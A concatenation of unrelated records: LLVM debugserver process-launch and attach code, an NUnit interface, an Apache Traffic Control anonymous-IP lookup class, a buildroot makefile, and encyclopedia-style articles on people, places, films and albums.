::ptrace(PT_KILL, m_pid, 0, 0);
m_pid = INVALID_NUB_PROCESS;
return INVALID_NUB_PROCESS;
}
StartSTDIOThread();
SetState(eStateAttaching);
DNBLog("[LaunchAttach] (%d) About to ptrace(PT_ATTACHEXC, %d)...", getpid(),
m_pid);
int err = ::ptrace(PT_ATTACHEXC, m_pid, 0, 0);
DNBLog("[LaunchAttach] (%d) Completed ptrace(PT_ATTACHEXC, %d) == %d",
getpid(), m_pid, err);
if (err == 0) {
m_flags |= eMachProcessFlagsAttached;
DNBLog("[LaunchAttach] successfully attached to pid %d", m_pid);
} else {
SetState(eStateExited);
DNBLog("[LaunchAttach] END (%d) error: failed to attach to pid %d",
getpid(), m_pid);
}
}
return m_pid;
}
pid_t MachProcess::BoardServiceForkChildForPTraceDebugging(
const char *app_bundle_path, char const *argv[], char const *envp[],
bool no_stdio, bool disable_aslr, const char *event_data,
DNBError &launch_err) {
if (argv[0] == NULL)
return INVALID_NUB_PROCESS;
DNBLogThreadedIf(LOG_PROCESS, "%s( '%s', argv, %p)", __FUNCTION__,
app_bundle_path, this);
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
size_t argc = 0;
// Count the number of arguments
while (argv[argc] != NULL)
argc++;
// Enumerate the arguments
size_t first_launch_arg_idx = 1;
NSMutableArray *launch_argv = nil;
if (argv[first_launch_arg_idx]) {
size_t launch_argc = argc > 0 ? argc - 1 : 0;
launch_argv = [NSMutableArray arrayWithCapacity:launch_argc];
size_t i;
char const *arg;
NSString *launch_arg;
for (i = first_launch_arg_idx; (i < argc) && ((arg = argv[i]) != NULL);
i++) {
launch_arg = [NSString stringWithUTF8String:arg];
// FIXME: Should we silently eat an argument that we can't convert into a
// UTF8 string?
if (launch_arg != nil)
[launch_argv addObject:launch_arg];
else
break;
}
}
NSMutableDictionary *launch_envp = nil;
if (envp[0]) {
launch_envp = [[NSMutableDictionary alloc] init];
const char *value;
int name_len;
NSString *name_string, *value_string;
for (int i = 0; envp[i] != NULL; i++) {
value = strstr(envp[i], "=");
// If the name field is empty or there's no =, skip it. Somebody's
// messing with us.
if (value == NULL || value == envp[i])
continue;
name_len = value - envp[i];
// Now move value over the "="
value++;
name_string = [[NSString alloc] initWithBytes:envp[i]
length:name_len
encoding:NSUTF8StringEncoding];
value_string = [NSString stringWithUTF8String:value];
[launch_envp setObject:value_string forKey:name_string];
}
}
NSString *stdio_path = nil;
NSFileManager *file_manager = [NSFileManager defaultManager];
PseudoTerminal pty;
if (!no_stdio) {
PseudoTerminal::Status pty_err =
pty.OpenFirstAvailablePrimary(O_RDWR | O_NOCTTY);
if (pty_err == PseudoTerminal::success) {
const char *secondary_name = pty.SecondaryName();
DNBLogThreadedIf(LOG_PROCESS,
"%s() successfully opened primary pty, secondary is %s",
__FUNCTION__, secondary_name);
if (secondary_name && secondary_name[0]) {
::chmod(secondary_name, S_IRWXU | S_IRWXG | S_IRWXO);
stdio_path = [file_manager
stringWithFileSystemRepresentation:secondary_name
length:strlen(secondary_name)];
}
}
}
if (stdio_path == nil) {
const char *null_path = "/dev/null";
stdio_path =
[file_manager stringWithFileSystemRepresentation:null_path
length:strlen(null_path)];
}
CFStringRef bundleIDCFStr = CopyBundleIDForPath(app_bundle_path, launch_err);
if (bundleIDCFStr == NULL) {
[pool drain];
return INVALID_NUB_PROCESS;
}
// Instead of rewriting CopyBundleIDForPath for NSStrings, we'll just use
// toll-free bridging here:
NSString *bundleIDNSStr = (NSString *)bundleIDCFStr;
// Okay, now let's assemble all these goodies into the BackBoardServices
// options mega-dictionary:
NSMutableDictionary *options = nullptr;
pid_t return_pid = INVALID_NUB_PROCESS;
bool success = false;
#ifdef WITH_BKS
if (ProcessUsingBackBoard()) {
options =
BKSCreateOptionsDictionary(app_bundle_path, launch_argv, launch_envp,
stdio_path, disable_aslr, event_data);
success = BKSCallOpenApplicationFunction(bundleIDNSStr, options, launch_err,
&return_pid);
}
#endif
#ifdef WITH_FBS
if (ProcessUsingFrontBoard()) {
options =
FBSCreateOptionsDictionary(app_bundle_path, launch_argv, launch_envp,
stdio_path, disable_aslr, event_data);
success = FBSCallOpenApplicationFunction(bundleIDNSStr, options, launch_err,
&return_pid);
}
#endif
if (success) {
int primary_fd = pty.ReleasePrimaryFD();
SetChildFileDescriptors(primary_fd, primary_fd, primary_fd);
CFString::UTF8(bundleIDCFStr, m_bundle_id);
}
[pool drain];
return return_pid;
}
bool MachProcess::BoardServiceSendEvent(const char *event_data,
DNBError &send_err) {
bool return_value = true;
if (event_data == NULL || *event_data == '\0') {
DNBLogError("SendEvent called with NULL event data.");
send_err.SetErrorString("SendEvent called with empty event data");
return false;
}
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if (strcmp(event_data, "BackgroundApplication") == 0) {
// This is an event I cooked up. What you actually do is foreground the system
// app, so:
#ifdef WITH_BKS
if (ProcessUsingBackBoard()) {
return_value = BKSCallOpenApplicationFunction(nil, nil, send_err, NULL);
}
#endif
#ifdef WITH_FBS
if (ProcessUsingFrontBoard()) {
return_value = FBSCallOpenApplicationFunction(nil, nil, send_err, NULL);
}
#endif
if (!return_value) {
DNBLogError("Failed to background application, error: %s.",
send_err.AsString());
}
} else {
if (m_bundle_id.empty()) {
// See if we can figure out the bundle ID for this PID:
DNBLogError(
"Tried to send event \"%s\" to a process that has no bundle ID.",
event_data);
return false;
}
NSString *bundleIDNSStr =
[NSString stringWithUTF8String:m_bundle_id.c_str()];
NSMutableDictionary *options = [NSMutableDictionary dictionary];
#ifdef WITH_BKS
if (ProcessUsingBackBoard()) {
if (!BKSAddEventDataToOptions(options, event_data, send_err)) {
[pool drain];
return false;
}
return_value = BKSCallOpenApplicationFunction(bundleIDNSStr, options,
send_err, NULL);
DNBLogThreadedIf(LOG_PROCESS,
"Called BKSCallOpenApplicationFunction to send event.");
}
#endif
#ifdef WITH_FBS
if (ProcessUsingFrontBoard()) {
if (!FBSAddEventDataToOptions(options, event_data, send_err)) {
[pool drain];
return false;
}
return_value = FBSCallOpenApplicationFunction(bundleIDNSStr, options,
send_err, NULL);
DNBLogThreadedIf(LOG_PROCESS,
"Called FBSCallOpenApplicationFunction to send event.");
}
#endif
if (!return_value) {
DNBLogError("Failed to send event: %s, error: %s.", event_data,
send_err.AsString());
}
}
[pool drain];
return return_value;
}
#endif // defined(WITH_BKS) || defined (WITH_FBS)
#ifdef WITH_BKS
void MachProcess::BKSCleanupAfterAttach(const void *attach_token,
DNBError &err_str) {
bool success;
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// Instead of rewriting CopyBundleIDForPath for NSStrings, we'll just use
// toll-free bridging here:
NSString *bundleIDNSStr = (NSString *)attach_token;
// Okay, now let's assemble all these goodies into the BackBoardServices
// options mega-dictionary:
// First we have the debug sub-dictionary:
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:BKSDebugOptionKeyCancelDebugOnNextLaunch];
// That will go in the overall dictionary:
NSMutableDictionary *options = [NSMutableDictionary dictionary];
[options setObject:debug_options
forKey:BKSOpenApplicationOptionKeyDebuggingOptions];
success =
BKSCallOpenApplicationFunction(bundleIDNSStr, options, err_str, NULL);
if (!success) {
DNBLogError("error trying to cancel debug on next launch for %s: %s",
[bundleIDNSStr UTF8String], err_str.AsString());
}
[pool drain];
}
#endif // WITH_BKS
#ifdef WITH_FBS
void MachProcess::FBSCleanupAfterAttach(const void *attach_token,
DNBError &err_str) {
bool success;
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// Instead of rewriting CopyBundleIDForPath for NSStrings, we'll just use
// toll-free bridging here:
NSString *bundleIDNSStr = (NSString *)attach_token;
// Okay, now let's assemble all these goodies into the BackBoardServices
// options mega-dictionary:
// First we have the debug sub-dictionary:
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:FBSDebugOptionKeyCancelDebugOnNextLaunch];
// That will go in the overall dictionary:
NSMutableDictionary *options = [NSMutableDictionary dictionary];
[options setObject:debug_options
forKey:FBSOpenApplicationOptionKeyDebuggingOptions];
success =
FBSCallOpenApplicationFunction(bundleIDNSStr, options, err_str, NULL);
if (!success) {
DNBLogError("error trying to cancel debug on next launch for %s: %s",
[bundleIDNSStr UTF8String], err_str.AsString());
}
[pool drain];
}
#endif // WITH_FBS
void MachProcess::CalculateBoardStatus()
{
if (m_flags & eMachProcessFlagsBoardCalculated)
return;
if (m_pid == 0)
return;
#if defined (WITH_FBS) || defined (WITH_BKS)
bool found_app_flavor = false;
#endif
#if defined(WITH_FBS)
if (!found_app_flavor && IsFBSProcess(m_pid)) {
found_app_flavor = true;
m_flags |= eMachProcessFlagsUsingFBS;
}
#endif
#if defined(WITH_BKS)
if (!found_app_flavor && IsBKSProcess(m_pid)) {
found_app_flavor = true;
m_flags |= eMachProcessFlagsUsingBKS;
}
#endif
m_flags |= eMachProcessFlagsBoardCalculated;
}
bool MachProcess::ProcessUsingBackBoard() {
CalculateBoardStatus();
return (m_flags & eMachProcessFlagsUsingBKS) != 0;
}
bool MachProcess::ProcessUsingFrontBoard() {
CalculateBoardStatus();
return (m_flags & eMachProcessFlagsUsingFBS) != 0;
}
int MachProcess::GetInferiorAddrSize(pid_t pid) {
int pointer_size = 8;
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
struct kinfo_proc processInfo;
size_t bufsize = sizeof(processInfo);
if (sysctl(mib, (unsigned)(sizeof(mib) / sizeof(int)), &processInfo, &bufsize,
NULL, 0) == 0 &&
bufsize > 0) {
if ((processInfo.kp_proc.p_flag & P_LP64) == 0)
pointer_size = 4;
}
return pointer_size;
}
``` |
Sidi Abd As-Salam Al-Asmar (, Al-Lasmar `Abd as-Salām) was a renowned religious Libyan Muslim saint who lived and died during the 15th century (1455–1575 CE). He is called al-Asmar because he stayed up most of the night in prayer.
Life
Sidi Abd As-Salam Al-Asmar was born as Salim Al-Fayturi in 1455 (ca. 859 AH) in the small city of Zliten, Libya, which is located roughly east of Tripoli near Leptis Magna. He belonged to the Fawatir tribe, while the nickname al-Asmar was given to him by his mother, who is believed to have been ordered to do so in a dream. He received his early mystical training from Abd al-Wahid al-Dukali, a khalifa of the Shadhili 'Arusi order who initiated him into the tariqa.
Al-Asmar lived as a zahid (ascetic), alone in Libya's vast desert performing various types of miracles for those in need. Later in life he became a mujahid (holy warrior), taking up arms in defense of his city. He died in 1575 aged 120 and his tomb became a place of pilgrimage, a large masjid was constructed in his remembrance at the location surrounding his grave. Not far from the masjid is one of the most respected and renowned Quranic educational institutions (madrasah) in Libya, named Al-Jamiaa Al-Asmariya ( i.e. Al-Asmariya Islamic University). A small archaeological museum contains various frescoes from the villa of Dar Buc Ammera and a collection of ceramic Roman artifacts belonging to the various tombs found on the peripheries.
On the anniversary of the destruction of tombs of the Al-Baqi' graveyard, the mosque and grave of Al-Asmar was reportedly destroyed on August 24, 2012 by Salafis and Wahhabis on the pretext that Islam does not allow worshipping graves and the dead (Reuters).
See also
Islam in Libya
List of Libyans
Zliten
Notes
External links
Zliten "Cities of the Saints" (archived 9 October 2007)
Autre Libye
Medusa Tours
Libyan Muslims
15th-century Muslim scholars of Islam
Libyan scholars
15th-century Libyan people
16th-century Libyan people
People from Zliten
1455 births
1575 deaths
16th-century Muslim scholars of Islam |
Wilhelm Knut "Mulle" Petersén (2 October 1906 – 11 December 1988) was a Swedish ice hockey and bandy player. He competed in the 1928 and 1936 Winter Olympics and finished in second and fifth place, respectively. Between 1928 and 1936 he played 20 international matches and won a European title in 1932.
Petersén was one three people who competed internationally in association football, bandy and ice hockey, and won Swedish titles in all these sports. As an ice hockey player, he won national titles with AIK in 1934 and 1935, and was the best Swedish scorer in 1928, 1932, 1933 and 1937. In association football, he was a 1932 Swedish champion with AIK and twice played internationally in 1930. In bandy, Petersén won a Swedish title in 1931 and twice played internationally in 1931–32.
After retiring from competitions, Petersén ran his Mulle Coffee-Roastery in Duvbo, Stockholm.
References
External links
1906 births
1988 deaths
AIK Fotboll players
AIK IF players
AIK Bandy players
Men's association football players not categorized by position
Ice hockey people from Stockholm
Ice hockey players at the 1928 Winter Olympics
Ice hockey players at the 1936 Winter Olympics
Medalists at the 1928 Winter Olympics
Olympic silver medalists for Sweden
Olympic ice hockey players for Sweden
Olympic medalists in ice hockey
Södertälje SK players
Swedish bandy players
Swedish men's footballers
Swedish ice hockey players |
```smalltalk
// ***********************************************************************
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// ***********************************************************************
using System;
namespace NUnit.Framework.Internal.Commands
{
/// <summary>
/// ICommandDecorator is implemented by attributes and other
/// objects able to decorate a TestCommand, usually by wrapping
/// it with an outer command.
/// </summary>
public interface ICommandDecorator
{
/// <summary>
/// The stage of command execution to which this decorator applies.
/// </summary>
CommandStage Stage { get; }
/// <summary>
/// The priority of this decorator as compared to other decorators
/// in the same Stage. Lower values are applied first.
/// </summary>
int Priority { get; }
/// <summary>
/// Decorate a command, usually by wrapping it with another
/// command, and return the decorated command.
/// </summary>
/// <param name="command">The command to be decorated</param>
/// <returns>The decorated command</returns>
TestCommand Decorate(TestCommand command);
}
}
``` |
Federal Route 207 is a federal road in Kelantan, Malaysia. The road connects Pasir Mas in the west to Wakaf Che Yeh in the east.
Features
At most sections, the Federal Route 207 was built under the JKR R5 road standard, with a speed limit of 90 km/h.
List of junctions and towns
References
Malaysian Federal Roads |
Ó Laighin, Gaelic-Irish surname, anglicised as Lyons, Lane or Lyne.
Overview
Ó Laighin was the surname of two unrelated families in medieval Ireland.
1 - Ó Laighin of County Kerry, usually anglicised as Lyne.
2 - Ó Laighin of County Galway, their home district been around Kilconnell. Now rendered Lyons or Lane.
Over two hundred households of the latter family were recorded between 1847-64.
Etymology
Laighin is the Irish name for Leinster, the most populated of the four Provinces of Ireland, which is located in the south-east of the island and entirely within the Republic of Ireland. The prefix Ó (common in Irish surnames) creates the meaning "of Leinster" or "descendant of Leinster".
Laighin may also derive from the Irish word láigen, meaning 'spear' or 'lance', which lent its name to the Laigin (Leinstermen) who inhabited pre-Norman south-east Ireland.
Notable People
Pádraig B. Ó Laighin, academic in sociology, poet and advocate for the Irish language.
See also
Donal Lyons, Mayor of Galway, 2001–2002.
Mossie Lyons, Kerry footballer.
Tadhg Lyne, Kerry footballer, c. 1933 – May 31, 2002.
Hugh Lane, Irish art enthusiast, 1875 - 1915.
References
Surnames
Irish families
Surnames of Irish origin
Irish-language surnames
Families of Irish ancestry |
At the 1948 Winter Olympics, four speed skating events were contested.
Medal summary
Participating nations
Twelve speed skaters competed in all four events.
A total of 68 speed skaters from 15 nations competed at the St. Moritz Games:
Medal table
References
External links
International Olympic Committee results database
1948 Winter Olympics events
1948
Olympics, 1948 |
Nevada Smith is a 1975 American Western television film starring Cliff Potts, Adam West and Lorne Greene, based on the 1966 feature film Nevada Smith.
This was a pilot for an unsold Western series. These characters were first introduced in the theatrical feature of the same title in 1966, and before that in 1964's The Carpetbaggers. Potts and Greene had the roles played earlier by Steve McQueen and Brian Keith (in the namesake movie) and by Alan Ladd and Leif Erickson in The Carpetbaggers.
Plot
A half-breed gunslinger and a friend he hasn't seen in years join together to escort a shipment of explosives across Utah.
Cast
Cliff Potts as Nevada Smith
Lorne Greene as Jonas Cord
Adam West as Frank Hartlee
Warren Vanders as Red Fickett
Roger Cudney as Perkins
References
External links
See also
List of American films of 1975
1975 television films
1975 Western (genre) films
American Western (genre) television films
Films directed by Gordon Douglas
1970s English-language films |
Andrejs Grants (born March 7, 1955) is a Latvian photographer and teacher. He studied at the Latvian State University (1973–78), worked in the “Ogre” photo studio (1978–1988). From 1979 he is a teacher at the House of Technical Innovation in Riga, where he gained his reputation as an influential photography teacher of many Latvian contemporary photographers, film-makers and artists, such as Ritums Ivanovs, Arnis Balčus and Gints Bērziņš. At "Ogre" photo studio he formed an informal group "A" with photographers Inta Ruka, Valts Kleins and Gvido Kajons. Having influences by documentary photographers, such as Henri Cartier-Bresson and Robert Frank, group "A" used a reportage style to document everyday life of Soviet Latvia, very often creating photographs full of criticism. Andrejs Grants gained international recognition by collaborating with group "A" ideological leader Egons Spuris' widow Inta Ruka. Their project "Latvia: Changing and Unchanging Reality" has been shown internationally. Similar to Ruka's work, Andrejs Grants' main theme are the people in Latvia. His photographs record a variety of Latvian people of different social levels, professions, nationalities, generations, people in their usual surroundings – in the city or countryside, at work or at home, in festivities or alone. In 2002 a monography "Andrejs Grants" was released by Neputns with a selection of his best work.
External links
Camp museum
Latvian photographers
Exhibition in Ireland
Info on the show Stories about Riga
1955 births
Living people
Latvian photographers
University of Latvia alumni
Artists from Riga |
```java
/*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.traffic_control.traffic_router.core.loc;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import com.maxmind.geoip2.DatabaseReader;
import com.maxmind.geoip2.exception.GeoIp2Exception;
import com.maxmind.geoip2.model.AnonymousIpResponse;
@SuppressWarnings({ "PMD.AvoidDuplicateLiterals" })
public class AnonymousIpDatabaseService {
private static final Logger LOGGER = LogManager.getLogger(AnonymousIpDatabaseService.class);
private boolean initialized = false;
private File databaseFile;
private DatabaseReader databaseReader;
/*
* Reloads the anonymous ip database
*/
public void reloadDatabase() throws IOException {
if (databaseReader != null) {
databaseReader.close();
}
if (databaseFile != null) {
databaseReader = createDatabaseReader(databaseFile);
if (databaseReader != null) {
initialized = true;
} else {
throw new IOException("Could not create database reader");
}
}
}
public void setDatabaseFile(final File databaseFile) {
this.databaseFile = databaseFile;
}
/*
* Verifies the database by attempting to recreate it
*/
public boolean verifyDatabase(final File databaseFile) throws IOException {
return createDatabaseReader(databaseFile) != null;
}
/*
* Creates a DatabaseReader object using an input database file
*/
private DatabaseReader createDatabaseReader(final File databaseFile) throws IOException {
if (!databaseFile.exists()) {
LOGGER.warn(databaseFile.getAbsolutePath() + " does not exist yet!");
return null;
}
if (databaseFile.isDirectory()) {
LOGGER.error(databaseFile + " is a directory, need a file");
return null;
}
LOGGER.info("Loading Anonymous IP db: " + databaseFile.getAbsolutePath());
try {
final DatabaseReader reader = new DatabaseReader.Builder(databaseFile).build();
return reader;
} catch (Exception e) {
LOGGER.error(databaseFile.getAbsolutePath() + " is not a valid Anonymous IP data file", e);
return null;
}
}
/*
* Returns an AnonymousIpResponse from looking an ip up in the database
*/
public AnonymousIpResponse lookupIp(final InetAddress ipAddress) {
if (initialized) {
// Return an anonymousIp object after looking up the ip in the
// database
try {
return databaseReader.anonymousIp(ipAddress);
} catch (GeoIp2Exception e) {
LOGGER.debug(String.format("AnonymousIP: IP %s not found in anonymous ip database", ipAddress.getHostAddress()));
return null;
} catch (IOException e) {
LOGGER.error("AnonymousIp ERR: IO Error during lookup of ip in anonymous ip database", e);
return null;
}
} else {
return null;
}
}
public boolean isInitialized() {
return initialized;
}
/*
* Closes the database when the object is destroyed
*/
@Override
protected void finalize() throws Throwable {
if (databaseReader != null) {
try {
databaseReader.close();
databaseReader = null;
} catch (IOException e) {
LOGGER.warn("Caught exception while trying to close anonymous ip database reader: ", e);
}
}
super.finalize();
}
}
``` |
The Instant Monty Python CD Collection is a box set released in 1994 of six CDs containing eight albums by the Monty Python troupe. It does not include the first Monty Python record, Monty Python's Flying Circus, whose rights are still owned by the BBC.
It contained a small booklet of reprinted material from album sleeves and previous Python books.
Track listing
For this release, each album was represented by two tracks, with each track corresponding to one side of the original vinyl pressings. For instance, the entire first half of Another Monty Python Record is the first track, while the entire second half is the second track. Due to each side of vinyl being roughly 20–30 minutes, and each CD able to hold up to 80 minutes, Monty Python's Previous Record and Monty Python's Contractual Obligation Album were split across two discs.
In addition, sketches and songs were not indexed separately. Instead, the packaging made reference to what each album contained; for example, Another Monty Python Record was listed as "including The Spanish Inquisition, Gumby Theatre, Abattoir, Ethel the Frog, Be a Great Actor, Spam Song." This set does not include "Farewell to John Denver", which was removed from some pressings of the Contractual Obligation album.
Disc one
Another Monty Python Record (Part 1): including The Spanish Inquisition, Gumby Theatre, Abattoir, Ethel the Frog – 25:51
Another Monty Python Record (Part 2): including Be a Great Actor, Spam Song – 27:55
Monty Python's Previous Record (Part 1): including Are You Embarrassed Easily?, There Is Nothing Quite as Wonderful as Money, Australian Wines, Argument, Fish Licence, Eric the Half-a-Bee, Travel Agent – 25:24
Disc two
Monty Python's Previous Record (Part 2): including Yangtse Music, Fairy Tale – 20:03
The Monty Python Matching Tie and Handkerchief (Part 1): including Dead Bishop, Who Cares?, Novel Writing, Bruces, Philosophers' Song, Cheese Shop – 21:20
The Monty Python Matching Tie and Handkerchief (Part 2): including First World War Noises, Phone-In – 19:55
Disc three
Monty Python Live at Drury Lane (Part 1) – 32:07
Monty Python Live at Drury Lane (Part 2) – 29:38
Disc four
The Album of the Soundtrack of the Trailer of the Film of Monty Python and the Holy Grail (Part 1) – 23:25
The Album of the Soundtrack of the Trailer of the Film of Monty Python and the Holy Grail (Part 2) – 23:48
Monty Python's Contractual Obligation Album (Part 1): including Sit on My Face, Henry Kissinger, Finland, I'm So Worried – 19:22
Disc five
Monty Python's Contractual Obligation Album (Part 2): including I Bet You They Won't Play This Song on the Radio, Bells, Traffic Lights, All Things Dull and Ugly – 25:34
Monty Python's Life of Brian (Part 1) – 25:12
Monty Python's Life of Brian (Part 2) – 26:47
Disc six
Monty Python's The Meaning of Life (Part 1) – 25:21
Monty Python's The Meaning of Life (Part 2) – 27:54
Distribution information
CD: (1994) Virgin Records, Ltd./Kay Gee Bee Music Ltd. CDV 2748 (UK.)
References
External links
Monty Python compilation albums
1994 compilation albums |
```makefile
################################################################################
#
# xdriver_xf86-video-tdfx
#
################################################################################
XDRIVER_XF86_VIDEO_TDFX_VERSION = 1.4.5
XDRIVER_XF86_VIDEO_TDFX_SOURCE = xf86-video-tdfx-$(XDRIVER_XF86_VIDEO_TDFX_VERSION).tar.bz2
XDRIVER_XF86_VIDEO_TDFX_SITE = path_to_url
XDRIVER_XF86_VIDEO_TDFX_LICENSE = MIT
XDRIVER_XF86_VIDEO_TDFX_LICENSE_FILES = COPYING
XDRIVER_XF86_VIDEO_TDFX_AUTORECONF = YES
XDRIVER_XF86_VIDEO_TDFX_DEPENDENCIES = xserver_xorg-server libdrm xproto_fontsproto xproto_randrproto xproto_renderproto xproto_videoproto xproto_xextproto xproto_xf86driproto xproto_xproto
$(eval $(autotools-package))
``` |
James Brooks D.D. (or Brookes) (May 1512 – 7 September 1558) was an English Catholic clergyman and Bishop of Gloucester.
Life
Born in May 1512, in Hampshire, southern England, Brooks became a Fellow of Corpus Christi College, Oxford in 1532, took the B.A. that same year and in 1546 the D.D. He was Master of Balliol College, Oxford in the years 1547–1555. He was Vice-Chancellor of the University of Oxford during 1552–3.
Widely known as an eloquent preacher, with the deprivation of John Hooper on the accession of Queen Mary, Brooks succeeded him as Bishop of Gloucester by papal provision in 1554 and was consecrated on 1 April.
In 1555, Brooks was one of the papal sub-delegates in the Royal Commission for the trial of the Oxford Martyrs, Thomas Cranmer, Hugh Latimer, and Nicholas Ridley. Brooks was a man not only of learning but also of integrity. He refused to degrade Ridley, probably on the ground that Ridley's consecration in 1547 had been according to the invalid form which was established by law very soon after that date. If, as the Protestant polemicist John Foxe asserts, Brooks refused to degrade Latimer as well, his position may have been based upon the fact that Latimer had lived for several years as a simple clergyman.
Brooks died in July or August 1558. He was buried in Gloucester Cathedral, but without a monument.
References
Attribution
1512 births
1558 deaths
Clergy from Hampshire
Fellows of Corpus Christi College, Oxford
Masters of Balliol College, Oxford
Vice-Chancellors of the University of Oxford
16th-century English Roman Catholic bishops
Bishops of Gloucester
English people who died in prison custody |
The Mathare Football for Hope Centre is located on Kangundo Road, in Komarock, Nairobi, Kenya. Its host organisation is Mathare Youth Sports Association (MYSA).
Description
The project started on 15 August 2008 and cost approximately US$120,000 at its conclusion. The physical structure covers and includes a youth centre, stadium/sports facility, health clinic and a community centre. The site's capacity is capped at 200. Beneficiaries include at-risk children from ten to eighteen years of age, and will be accessed by approximately 50,000 people of the greater Mathare community and surrounding areas.
The centre was made possible by "20 Centres for 2010", the official campaign of the 2010 FIFA World Cup South Africa. The entire campaign aims to address local social challenges in disadvantaged areas and to improve education and health services for young people through the creation of these centres. Each centre throughout Africa has its own local centre host organisation.
Host organisation
MYSA, the centre's host organization, is located in Mathare, a collection of slums in Nairobi. The organisation is run by young people, aiding in their development in its fullest potential, and was founded with the intention to enhance their social proficiencies through the teaching of football.
The mission of MYSA is "Linking Sports, Community Leadership and Sustainable Development in Africa by: Creating opportunities for physical, personal and community development; Empowering young people and building their self-esteem; Empowering young people to become responsible citizens and environmental preservation experts".
The association has existed since 1987. TIt has expanded to a staff of 60 members and over 7,000 volunteers. In addition, the association is making notable strides in helping their local youth become responsible citizens.
MYSA has been awarded the UN Environment Programme 500 Award, Common Ground Award 2010 and Winners Beyond Sport Award – Leadership in sport Award Category 2011. It has been nominated for the Nobel Peace Prize twice.
Design
As noted in MYSA's mission statement, one of the association's goals is to develop its youth into environmental preservation experts. The Mathare Football for Hope Centre chose to work with Studio 610 to design the space. It stated that its goal was "to provide a space that is functional, sustainable, cost effective, and that will become a beacon where the community can come together".
The main building within the structure is formed by local stone masonry. The stone was kept its natural colour in order to symbolise the nature of Kenya. In turn, the interior walls are painted bright colours to symbolisze the heart and vibrancy of Kenyan culture. The intention of the colourful interior was for the colour to radiate through the large glass like a multicoloured lantern. The flat roof allows for the installation of solar panels and easy rainwater collection.
The architects of record for this project were Andrew Gremley and Pharos Architects.
In order to incorporate the association's sustainability goals, Studio 610 included the following sustainability initiatives in their design of the centre:
- the buildings consists of stones hand cut from the local quarries of Nairobi
- it is powered by low cost devices such as low energy light bulbs
- it has block pavers that allow for proper drainage of rainwater into the ground
- it consists of a rain water collection design in which the water is directed to a harvesting tank and/or the irrigation system
- a high degree natural ventilation system so as to avoid the use of air conditioning
- a natural cooling system with a shading structure at the northern end of the building that will create air circulation for cooling the seating/step and plaza area
- large glazed openings to allow for the maximum use of daylight to ensure low use of artificial light
- the shipping containers used to transport the turf have been recycled and reused as the tower element, and have been modified and incorporated alongside the field as an open shaded structure for gathering and storage
- low construction waste in which the contractor was committed to separating on-site waste and recycling
- the building is positioned strategically to ensure optimal daylight at all times as well as shading to prevent overheating
- the fields have been dressed with artificial turf in order to lower maintenance costs, save water, and be completely recyclable.
The environmental consultant for this project was Dr. Alfred Omenya.
Development
By July 2012, approximately 150 children were accessing the centre each week, 200 girls had been recruited for the centre's football league, six youths had been trained as HIV testing and counselling counsellors, 579 males and 478 females had been counselled and tested for HIV/AIDS, 120 boys and 108 girls had been recruited to the library programme and 59 youths had been trained on entrepreneurship and basic computer skills.
References
Football in Kenya
Sports venues in Kenya
Non-profit organisations based in Kenya |
Mike Collings (born 29 September 1954) is a sport shooter from New Zealand.
At the 2002 Commonwealth Games in Manchester he was 21st in the full bore rifle open singles and seventh in the full bore rifle open pairs.
At the 2010 Commonwealth Games in Delhi he won a gold medal in the full bore rifle open pairs with John Snowden. He also competed in the full bore rifle open singles, finishing fourth.
Collings won the Ballinger Belt at the 1998 New Zealand rifle shooting championships. In 2009 he finished second and was top New Zealander. He won back-to-back Ballinger Belts in 2021 and 2022, becoming the first person in the history of the event, dating back to 1873, to successfully defend the trophy.
Collings is married to fellow sport shooter Diane Collings. His father, Dennis Collings, won the Ballinger Belt in 1977, and his brother, Ross Collings, did the same in 1993.
References
1954 births
Living people
Sportspeople from Lower Hutt
New Zealand male sport shooters
Commonwealth Games gold medallists for New Zealand
Shooters at the 2002 Commonwealth Games
Shooters at the 2010 Commonwealth Games
Shooters at the 2014 Commonwealth Games
Commonwealth Games medallists in shooting
Medallists at the 2010 Commonwealth Games |
Episannina chalybea is a moth of the family Sesiidae. It is known from Cameroon.
References
Endemic fauna of Cameroon
Sesiidae
Insects of Cameroon
Moths of Africa |
Hedmarken (, ; known as Hedemarken until 2003) is a traditional district in Innlandet county in Eastern Norway.
Hedmarken consists of the municipalities Stange, Hamar, Løten, and Ringsaker. In the past, it also contained the municipalities of Romedal, Vang, Furnes, and Nes, but those municipalities were merged into Hamar, Stange, and Ringsaker during the 20th century. Traditionally, it also included Gjøvik on the other side of the lake, but this is no longer the case. The old county of Hedmark was named after the district of Hedmarken, but the county included several other districts as well, namely Østerdalen and Glåmdalen (Solør, Odalen and Vinger).
The district is dominated by rolling agricultural terrain, hilly green mountains, and pine forests.
Etymology
